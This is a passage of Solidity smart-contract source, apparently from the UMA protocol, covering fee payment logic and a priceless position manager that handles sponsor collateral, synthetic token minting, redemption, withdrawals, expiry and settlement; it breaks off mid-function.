* @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller).
* This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0.
*/
function payRegularFees() public nonReentrant() returns (FixedPoint.Unsigned memory totalPaid) {
StoreInterface store = _getStore();
uint256 time = getCurrentTime();
FixedPoint.Unsigned memory collateralPool = _pfc();
// Exit early if there is no collateral from which to pay fees.
if (collateralPool.isEqual(0)) {
return totalPaid;
}
// Exit early if fees were already paid during this block.
if (lastPaymentTime == time) {
return totalPaid;
}
(FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty) = store.computeRegularFee(
lastPaymentTime,
time,
collateralPool
);
lastPaymentTime = time;
totalPaid = regularFee.add(latePenalty);
if (totalPaid.isEqual(0)) {
return totalPaid;
}
// If the effective fees paid as a % of the pfc is > 100%, then we need to reduce it and make the contract pay
// as much of the fee that it can (up to 100% of its pfc). We'll reduce the late penalty first and then the
// regular fee, which has the effect of paying the store first, followed by the caller if there is any fee remaining.
if (totalPaid.isGreaterThan(collateralPool)) {
FixedPoint.Unsigned memory deficit = totalPaid.sub(collateralPool);
FixedPoint.Unsigned memory latePenaltyReduction = FixedPoint.min(latePenalty, deficit);
latePenalty = latePenalty.sub(latePenaltyReduction);
deficit = deficit.sub(latePenaltyReduction);
regularFee = regularFee.sub(FixedPoint.min(regularFee, deficit));
totalPaid = collateralPool;
}
emit RegularFeesPaid(regularFee.rawValue, latePenalty.rawValue);
_adjustCumulativeFeeMultiplier(totalPaid, collateralPool);
if (regularFee.isGreaterThan(0)) {
collateralCurrency.safeIncreaseAllowance(address(store), regularFee.rawValue);
store.payOracleFeesErc20(address(collateralCurrency), regularFee);
}
if (latePenalty.isGreaterThan(0)) {
collateralCurrency.safeTransfer(msg.sender, latePenalty.rawValue);
}
return totalPaid;
}
/**
* @notice Gets the current profit from corruption for this contract in terms of the collateral currency.
* @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are
* expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC.
* @return pfc value for equal to the current profit from corrution denominated in collateral currency.
*/
function pfc() public view nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _pfc();
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Pays UMA Oracle final fees of `amount` in `collateralCurrency` to the Store contract. Final fee is a flat fee
// charged for each price request. If payer is the contract, adjusts internal bookkeeping variables. If payer is not
// the contract, pulls in `amount` of collateral currency.
function _payFinalFees(address payer, FixedPoint.Unsigned memory amount) internal {
if (amount.isEqual(0)) {
return;
}
if (payer != address(this)) {
// If the payer is not the contract pull the collateral from the payer.
collateralCurrency.safeTransferFrom(payer, address(this), amount.rawValue);
} else {
// If the payer is the contract, adjust the cumulativeFeeMultiplier to compensate.
FixedPoint.Unsigned memory collateralPool = _pfc();
// The final fee must be < available collateral or the fee will be larger than 100%.
require(collateralPool.isGreaterThan(amount), "Final fee is more than PfC");
_adjustCumulativeFeeMultiplier(amount, collateralPool);
}
emit FinalFeesPaid(amount.rawValue);
StoreInterface store = _getStore();
collateralCurrency.safeIncreaseAllowance(address(store), amount.rawValue);
store.payOracleFeesErc20(address(collateralCurrency), amount);
}
function _pfc() internal virtual view returns (FixedPoint.Unsigned memory);
function _getStore() internal view returns (StoreInterface) {
return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store));
}
function _computeFinalFees() internal view returns (FixedPoint.Unsigned memory finalFees) {
StoreInterface store = _getStore();
return store.computeFinalFee(address(collateralCurrency));
}
// Returns the user's collateral minus any fees that have been subtracted since it was originally
// deposited into the contract. Note: if the contract has paid fees since it was deployed, the raw
// value should be larger than the returned value.
function _getFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral)
internal
view
returns (FixedPoint.Unsigned memory collateral)
{
return rawCollateral.mul(cumulativeFeeMultiplier);
}
// Converts a user-readable collateral value into a raw value that accounts for already-assessed fees. If any fees
// have been taken from this contract in the past, then the raw value will be larger than the user-readable value.
function _convertToRawCollateral(FixedPoint.Unsigned memory collateral)
internal
view
returns (FixedPoint.Unsigned memory rawCollateral)
{
return collateral.div(cumulativeFeeMultiplier);
}
// Decrease rawCollateral by a fee-adjusted collateralToRemove amount. Fee adjustment scales up collateralToRemove
// by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore
// rawCollateral is decreased by less than expected. Because this method is usually called in conjunction with an
// actual removal of collateral from this contract, return the fee-adjusted amount that the rawCollateral is
// decreased by so that the caller can minimize error between collateral removed and rawCollateral debited.
function _removeCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToRemove)
internal
returns (FixedPoint.Unsigned memory removedCollateral)
{
FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral);
FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToRemove);
rawCollateral.rawValue = rawCollateral.sub(adjustedCollateral).rawValue;
removedCollateral = initialBalance.sub(_getFeeAdjustedCollateral(rawCollateral));
}
// Increase rawCollateral by a fee-adjusted collateralToAdd amount. Fee adjustment scales up collateralToAdd
// by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore
// rawCollateral is increased by less than expected. Because this method is usually called in conjunction with an
// actual addition of collateral to this contract, return the fee-adjusted amount that the rawCollateral is
// increased by so that the caller can minimize error between collateral added and rawCollateral credited.
// NOTE: This return value exists only for the sake of symmetry with _removeCollateral. We don't actually use it
// because we are OK if more collateral is stored in the contract than is represented by rawTotalPositionCollateral.
function _addCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToAdd)
internal
returns (FixedPoint.Unsigned memory addedCollateral)
{
FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral);
FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToAdd);
rawCollateral.rawValue = rawCollateral.add(adjustedCollateral).rawValue;
addedCollateral = _getFeeAdjustedCollateral(rawCollateral).sub(initialBalance);
}
// Scale the cumulativeFeeMultiplier by the ratio of fees paid to the current available collateral.
function _adjustCumulativeFeeMultiplier(FixedPoint.Unsigned memory amount, FixedPoint.Unsigned memory currentPfc)
internal
{
FixedPoint.Unsigned memory effectiveFee = amount.divCeil(currentPfc);
cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveFee));
}
}
// File: contracts/financial-templates/expiring-multiparty/PricelessPositionManager.sol
pragma solidity ^0.6.0;
/**
* @title Financial contract with priceless position management.
* @notice Handles positions for multiple sponsors in an optimistic (i.e., priceless) way without relying
* on a price feed. On construction, deploys a new ERC20, managed by this contract, that is the synthetic token.
*/
contract PricelessPositionManager is FeePayer, AdministrateeInterface {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
using SafeERC20 for ExpandedIERC20;
/****************************************
* PRICELESS POSITION DATA STRUCTURES *
****************************************/
// Stores the state of the PricelessPositionManager. Set on expiration, emergency shutdown, or settlement.
enum ContractState { Open, ExpiredPriceRequested, ExpiredPriceReceived }
ContractState public contractState;
// Represents a single sponsor's position. All collateral is held by this contract.
// This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor.
struct PositionData {
FixedPoint.Unsigned tokensOutstanding;
// Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`.
uint256 withdrawalRequestPassTimestamp;
FixedPoint.Unsigned withdrawalRequestAmount;
// Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral().
// To add or remove collateral, use _addCollateral() and _removeCollateral().
FixedPoint.Unsigned rawCollateral;
// Tracks pending transfer position requests. A transfer position request is pending if `transferPositionRequestPassTimestamp != 0`.
uint256 transferPositionRequestPassTimestamp;
}
// Maps sponsor addresses to their positions. Each sponsor can have only one position.
mapping(address => PositionData) public positions;
// Keep track of the total collateral and tokens across all positions to enable calculating the
// global collateralization ratio without iterating over all positions.
FixedPoint.Unsigned public totalTokensOutstanding;
// Similar to the rawCollateral in PositionData, this value should not be used directly.
// _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust.
FixedPoint.Unsigned public rawTotalPositionCollateral;
// Synthetic token created by this contract.
ExpandedIERC20 public tokenCurrency;
// Unique identifier for DVM price feed ticker.
bytes32 public priceIdentifier;
// Time that this contract expires. Should not change post-construction unless an emergency shutdown occurs.
uint256 public expirationTimestamp;
// Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur.
uint256 public withdrawalLiveness;
// Minimum number of tokens in a sponsor's position.
FixedPoint.Unsigned public minSponsorTokens;
// The expiry price pulled from the DVM.
FixedPoint.Unsigned public expiryPrice;
/****************************************
* EVENTS *
****************************************/
event RequestTransferPosition(address indexed oldSponsor);
event RequestTransferPositionExecuted(address indexed oldSponsor, address indexed newSponsor);
event RequestTransferPositionCanceled(address indexed oldSponsor);
event Deposit(address indexed sponsor, uint256 indexed collateralAmount);
event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount);
event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event NewSponsor(address indexed sponsor);
event EndedSponsorPosition(address indexed sponsor);
event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event ContractExpired(address indexed caller);
event SettleExpiredPosition(
address indexed caller,
uint256 indexed collateralReturned,
uint256 indexed tokensBurned
);
event EmergencyShutdown(address indexed caller, uint256 originalExpirationTimestamp, uint256 shutdownTimestamp);
/****************************************
* MODIFIERS *
****************************************/
modifier onlyPreExpiration() {
_onlyPreExpiration();
_;
}
modifier onlyPostExpiration() {
_onlyPostExpiration();
_;
}
modifier onlyCollateralizedPosition(address sponsor) {
_onlyCollateralizedPosition(sponsor);
_;
}
// Check that the current state of the pricelessPositionManager is Open.
// This prevents multiple calls to `expire` and `EmergencyShutdown` post expiration.
modifier onlyOpenState() {
_onlyOpenState();
_;
}
modifier noPendingWithdrawal(address sponsor) {
_positionHasNoPendingWithdrawal(sponsor);
_;
}
/**
* @notice Construct the PricelessPositionManager
* @param _expirationTimestamp unix timestamp of when the contract will expire.
* @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals.
* @param _collateralAddress ERC20 token used as collateral for all positions.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _priceIdentifier registered in the DVM for the synthetic.
* @param _syntheticName name for the token contract that will be deployed.
* @param _syntheticSymbol symbol for the token contract that will be deployed.
* @param _tokenFactoryAddress deployed UMA token factory to create the synthetic token.
* @param _minSponsorTokens minimum amount of collateral that must exist at any time in a position.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
uint256 _expirationTimestamp,
uint256 _withdrawalLiveness,
address _collateralAddress,
address _finderAddress,
bytes32 _priceIdentifier,
string memory _syntheticName,
string memory _syntheticSymbol,
address _tokenFactoryAddress,
FixedPoint.Unsigned memory _minSponsorTokens,
address _timerAddress
) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) nonReentrant() {
require(_expirationTimestamp > getCurrentTime(), "Invalid expiration in future");
require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier), "Unsupported price identifier");
expirationTimestamp = _expirationTimestamp;
withdrawalLiveness = _withdrawalLiveness;
TokenFactory tf = TokenFactory(_tokenFactoryAddress);
tokenCurrency = tf.createToken(_syntheticName, _syntheticSymbol, 18);
minSponsorTokens = _minSponsorTokens;
priceIdentifier = _priceIdentifier;
}
/****************************************
* POSITION FUNCTIONS *
****************************************/
/**
* @notice Requests to transfer ownership of the caller's current position to a new sponsor address.
* Once the request liveness is passed, the sponsor can execute the transfer and specify the new sponsor.
* @dev The liveness length is the same as the withdrawal liveness.
*/
function requestTransferPosition() public onlyPreExpiration() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.transferPositionRequestPassTimestamp == 0, "Pending transfer");
// Make sure the proposed expiration of this request is not post-expiry.
uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness);
require(requestPassTime < expirationTimestamp, "Request expires post-expiry");
// Update the position object for the user.
positionData.transferPositionRequestPassTimestamp = requestPassTime;
emit RequestTransferPosition(msg.sender);
}
/**
* @notice After a passed transfer position request (i.e., by a call to `requestTransferPosition` and waiting
* `withdrawalLiveness`), transfers ownership of the caller's current position to `newSponsorAddress`.
* @dev Transferring positions can only occur if the recipient does not already have a position.
* @param newSponsorAddress is the address to which the position will be transferred.
*/
function transferPositionPassedRequest(address newSponsorAddress)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
require(
_getFeeAdjustedCollateral(positions[newSponsorAddress].rawCollateral).isEqual(
FixedPoint.fromUnscaledUint(0)
),
"Sponsor already has position"
);
PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.transferPositionRequestPassTimestamp != 0 &&
positionData.transferPositionRequestPassTimestamp <= getCurrentTime(),
"Invalid transfer request"
);
// Reset transfer request.
positionData.transferPositionRequestPassTimestamp = 0;
positions[newSponsorAddress] = positionData;
delete positions[msg.sender];
emit RequestTransferPositionExecuted(msg.sender, newSponsorAddress);
emit NewSponsor(newSponsorAddress);
emit EndedSponsorPosition(msg.sender);
}
/**
* @notice Cancels a pending transfer position request.
*/
function cancelTransferPosition() external onlyPreExpiration() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.transferPositionRequestPassTimestamp != 0, "No pending transfer");
emit RequestTransferPositionCanceled(msg.sender);
// Reset withdrawal request.
positionData.transferPositionRequestPassTimestamp = 0;
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param sponsor the sponsor to credit the deposit to.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(sponsor)
fees()
nonReentrant()
{
require(collateralAmount.isGreaterThan(0), "Invalid collateral amount");
PositionData storage positionData = _getPositionData(sponsor);
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
emit Deposit(sponsor, collateralAmount.rawValue);
// Move collateral currency from sender to contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function deposit(FixedPoint.Unsigned memory collateralAmount) public {
// This is just a thin wrapper over depositTo that specified the sender as the sponsor.
depositTo(msg.sender, collateralAmount);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor.
* @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization
* ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss.
* @param collateralAmount is the amount of collateral to withdraw.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdraw(FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(collateralAmount.isGreaterThan(0), "Invalid collateral amount");
// Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure
// position remains above the GCR within the witdrawl. If this is not the case the caller must submit a request.
amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount);
emit Withdrawal(msg.sender, amountWithdrawn.rawValue);
// Move collateral currency from contract to sender.
// Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees)
// instead of the user requested amount. This eliminates precision loss that could occur
// where the user withdraws more collateral than rawCollateral is decremented by.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw` from their position.
* @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated.
* @param collateralAmount the amount of collateral requested to withdraw
*/
function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
collateralAmount.isGreaterThan(0) &&
collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral)),
"Invalid collateral amount"
);
// Make sure the proposed expiration of this request is not post-expiry.
uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness);
require(requestPassTime < expirationTimestamp, "Request expires post-expiry");
// Update the position object for the user.
positionData.withdrawalRequestPassTimestamp = requestPassTime;
positionData.withdrawalRequestAmount = collateralAmount;
emit RequestWithdrawal(msg.sender, collateralAmount.rawValue);
}
/**
* @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting
* `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency.
* @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested
* amount exceeds the collateral in the position (due to paying fees).
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdrawPassedRequest()
external
onlyPreExpiration()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.withdrawalRequestPassTimestamp != 0 &&
positionData.withdrawalRequestPassTimestamp <= getCurrentTime(),
"Invalid withdraw request"
);
// If withdrawal request amount is > position collateral, then withdraw the full collateral amount.
// This situation is possible due to fees charged since the withdrawal was originally requested.
FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount;
if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) {
amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral);
}
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
// Transfer approved withdrawal amount from the contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Cancels a pending withdrawal request.
*/
function cancelWithdrawal() external onlyPreExpiration() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.withdrawalRequestPassTimestamp != 0, "No pending withdrawal");
emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
}
/**
* @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount` into the sponsor's position and mints `numTokens` of `tokenCurrency`.
* @dev Reverts if minting these tokens would put the position's collateralization ratio below the
* global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of
* `collateralCurrency`.
* @param collateralAmount is the number of collateral tokens to collateralize the position with
* @param numTokens is the number of tokens to mint from the position.
*/
function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens)
public
onlyPreExpiration()
fees()
nonReentrant()
{
require(_checkCollateralization(collateralAmount, numTokens), "CR below GCR");
PositionData storage positionData = positions[msg.sender];
require(positionData.withdrawalRequestPassTimestamp == 0, "Pending withdrawal");
if (positionData.tokensOutstanding.isEqual(0)) {
require(numTokens.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
emit NewSponsor(msg.sender);
}
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
// Add the number of tokens created to the position's outstanding tokens.
positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens);
totalTokensOutstanding = totalTokensOutstanding.add(numTokens);
emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue);
// Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
require(tokenCurrency.mint(msg.sender, numTokens.rawValue), "Minting synthetic tokens failed");
}
/**
* @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`.
* @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral
* in order to account for precision loss. This contract must be approved to spend at least `numTokens` of
* `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function redeem(FixedPoint.Unsigned memory numTokens)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(!numTokens.isGreaterThan(positionData.tokensOutstanding), "Invalid token amount");
FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding);
FixedPoint.Unsigned memory collateralRedeemed = fractionRedeemed.mul(
_getFeeAdjustedCollateral(positionData.rawCollateral)
);
// If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize.
if (positionData.tokensOutstanding.isEqual(numTokens)) {
amountWithdrawn = _deleteSponsorPosition(msg.sender);
} else {
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed);
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
}
emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue);
// Transfer collateral from contract to caller and burn callers synthetic tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice After a contract has passed expiry all token holders can redeem their tokens for underlying at the
* prevailing price defined by the DVM from the `expire` function.
* @dev This burns all tokens from the caller of `tokenCurrency` and sends back the proportional amount of
* `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for
* precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function settleExpired()
external
onlyPostExpiration()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
// If the contract state is open and onlyPostExpiration passed then `expire()` has not yet been called.
require(contractState != ContractState.Open, "Unexpired position");
// Get the current settlement price and store it. If it is not resolved will revert.
if (contractState != ContractState.ExpiredPriceReceived) {
expiryPrice = _getOraclePrice(expirationTimestamp);
contractState = ContractState.ExpiredPriceReceived;
}
// Get caller's tokens balance and calculate amount of underlying entitled to them.
FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender));
FixedPoint.Unsigned memory totalRedeemableCollateral = tokensToRedeem.mul(expiryPrice);
// If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt.
PositionData storage positionData = positions[msg.sender];
if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) {
// Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying.
FixedPoint.Unsigned memory tokenDebtValueInCollateral = positionData.tokensOutstanding.mul(expiryPrice);
FixedPoint.Unsigned memory positionCollateral = _getFeeAdjustedCollateral(positionData.rawCollateral);
// If the debt is greater than the remaining collateral, they cannot redeem anything.
FixedPoint.Unsigned memory positionRedeemableCollateral = tokenDebtValueInCollateral.isLessThan(
positionCollateral
)
? positionCollateral.sub(tokenDebtValueInCollateral)
: FixedPoint.Unsigned(0);
// Add the number of redeemable tokens for the sponsor to their total redeemable collateral.
totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral);
// Reset the position state as all the value has been removed after settlement.
delete positions[msg.sender];
emit EndedSponsorPosition(msg.sender);
}
// Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized,
// the caller will get as much collateral as the contract can pay out.
FixedPoint.Unsigned memory payout = FixedPoint.min(
_getFeeAdjustedCollateral(rawTotalPositionCollateral),
totalRedeemableCollateral
);
// Decrement total contract collateral and outstanding debt.
amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout);
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem);
emit SettleExpiredPosition(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue);
// Transfer tokens & collateral and burn the redeemed tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue);
tokenCurrency.burn(tokensToRedeem.rawValue);
}
/****************************************
* GLOBAL STATE FUNCTIONS *
****************************************/
/**
* @notice Locks contract state in expired and requests oracle price.
* @dev this function can only be called once the contract is expired and can't be re-called.
*/
function expire() external onlyPostExpiration() onlyOpenState() fees() nonReentrant() {
contractState = ContractState.ExpiredPriceRequested;
// The final fee for this request is paid out of the contract rather than by the caller.
_payFinalFees(address(this), _computeFinalFees());
_requestOraclePrice(expirationTimestamp);
emit ContractExpired(msg.sender);
}
/**
* @notice Premature contract settlement under emergency circumstances.
* @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`.
* Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal
* to occur via the standard `settleExpired` function. Contract state is set to `ExpiredPriceRequested`
* which prevents re-entry into this function or the `expire` function. No fees are paid when calling
* `emergencyShutdown` as the governor who would call the function would also receive the fees.
*/
function emergencyShutdown() external override onlyPreExpiration() onlyOpenState() nonReentrant() {
require(msg.sender == _getFinancialContractsAdminAddress(), "Caller not Governor");
contractState = ContractState.ExpiredPriceRequested;
// Expiratory time now becomes the current time (emergency shutdown time).
// Price requested at this time stamp. `settleExpired` can now withdraw at this timestamp.
uint256 oldExpirationTimestamp = expirationTimestamp;
expirationTimestamp = getCurrentTime();
_requestOraclePrice(expirationTimestamp);
emit EmergencyShutdown(msg.sender, oldExpirationTimestamp, expirationTimestamp);
}
/**
* @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they
* reflect the NAV of the contract. However, this functionality doesn't apply to this contract.
* @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable
* only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing.
*/
function remargin() external override onlyPreExpiration() nonReentrant() {
return;
}
/**
* @notice Accessor method for a sponsor's collateral.
* @dev This is necessary because the struct returned by the positions() method shows
* rawCollateral, which isn't a user-readable value.
* @param sponsor address whose collateral amount is retrieved.
* @return collateralAmount amount of collateral within a sponsors position.
*/
function getCollateral(address sponsor)
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory collateralAmount)
{
// Note: do a direct access to avoid the validity check.
return _getFeeAdjustedCollateral(positions[sponsor].rawCollateral);
}
/**
* @notice Accessor method for the total collateral stored within the PricelessPositionManager.
* @return totalCollateral amount of all collateral within the Expiring Multi Party Contract.
*/
function totalPositionCollateral()
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory totalCollateral)
{
return _getFeeAdjustedCollateral(rawTotalPositionCollateral);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire
// position if the entire position is being removed. Does not make any external transfers.
function _reduceSponsorPosition(
address sponsor,
FixedPoint.Unsigned memory tokensToRemove,
FixedPoint.Unsigned memory collateralToRemove,
FixedPoint.Unsigned memory withdrawalAmountToRemove
) internal {
PositionData storage positionData = _getPositionData(sponsor);
// If the entire position is being removed, delete it instead.
if (
tokensToRemove.isEqual(positionData.tokensOutstanding) &&
_getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove)
) {
_deleteSponsorPosition(sponsor);
return;
}
// Decrement the sponsor's collateral and global collateral amounts.
_decrementCollateralBalances(positionData, collateralToRemove);
// Ensure that the sponsor will meet the min position size after the reduction.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(tokensToRemove);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
positionData.tokensOutstanding = newTokenCount;
// Decrement the position's withdrawal amount.
positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove);
// Decrement the total outstanding tokens in the overall contract.
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove);
}
// Deletes a sponsor's position and updates global counters. Does not make any external transfers.
function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) {
PositionData storage positionToLiquidate = _getPositionData(sponsor);
FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral);
// Remove the collateral and outstanding from the overall total position.
FixedPoint.Unsigned memory remainingRawCollateral = positionToLiquidate.rawCollateral;
rawTotalPositionCollateral = rawTotalPositionCollateral.sub(remainingRawCollateral);
totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding);
// Reset the sponsors position to have zero outstanding and collateral.
delete positions[sponsor];
emit EndedSponsorPosition(sponsor);
